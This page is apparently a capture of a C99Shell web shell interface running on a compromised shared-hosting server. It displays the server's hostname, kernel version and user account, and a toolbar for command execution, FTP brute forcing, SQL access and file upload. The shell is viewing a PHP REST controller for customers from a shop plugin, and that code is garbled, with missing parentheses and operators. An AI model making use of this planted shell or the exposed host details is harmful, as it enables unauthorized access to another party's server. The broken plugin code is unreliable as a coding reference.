!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-admin/src/API/   drwxr-xr-x
Free 293 GB of 429.69 GB (68.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Customers.php (2.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * REST API Customers Controller
 *
 * Handles requests to /customers/*
 */

namespace Automattic\Kkart\Admin\API;

defined'ABSPATH' ) || exit;

/**
 * Customers controller.
 *
 * @extends \Automattic\Kkart\Admin\API\Reports\Customers\Controller
 */
class Customers extends \Automattic\Kkart\Admin\API\Reports\Customers\Controller {

    
/**
     * Route base.
     *
     * @var string
     */
    
protected $rest_base 'customers';

    
/**
     * Register the routes for customers.
     */
    
public function register_routes() {
        
register_rest_route(
            
$this->namespace,
            
'/' $this->rest_base,
            array(
                array(
                    
'methods'             => \WP_REST_Server::READABLE,
                    
'callback'            => array( $this'get_items' ),
                    
'permission_callback' => array( $this'get_items_permissions_check' ),
                    
'args'                => $this->get_collection_params(),
                ),
                
'schema' => array( $this'get_public_item_schema' ),
            )
        );

        
register_rest_route(
            
$this->namespace,
            
'/' $this->rest_base '/(?P<id>[\d-]+)',
            array(
                
'args'   => array(
                    
'id' => array(
                        
'description' => __'Unique ID for the resource.''kkart' ),
                        
'type'        => 'integer',
                    ),
                ),
                array(
                    
'methods'             => \WP_REST_Server::READABLE,
                    
'callback'            => array( $this'get_item' ),
                    
'permission_callback' => array( $this'get_items_permissions_check' ),
                    
'args'                => $this->get_collection_params(),
                ),
                
'schema' => array( $this'get_public_item_schema' ),
            )
        );
    }

    
/**
     * Maps query arguments from the REST request.
     *
     * @param array $request Request array.
     * @return array
     */
    
protected function prepare_reports_query$request ) {
        
$args              parent::prepare_reports_query$request );
        
$args['customers'] = $request['include'];
        return 
$args;
    }

    
/**
     * Get the query params for collections.
     *
     * @return array
     */
    
public function get_collection_params() {
        
$params            parent::get_collection_params();
        
$params['include'] = $params['customers'];
        unset( 
$params['customers'] );
        return 
$params;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0034 ]--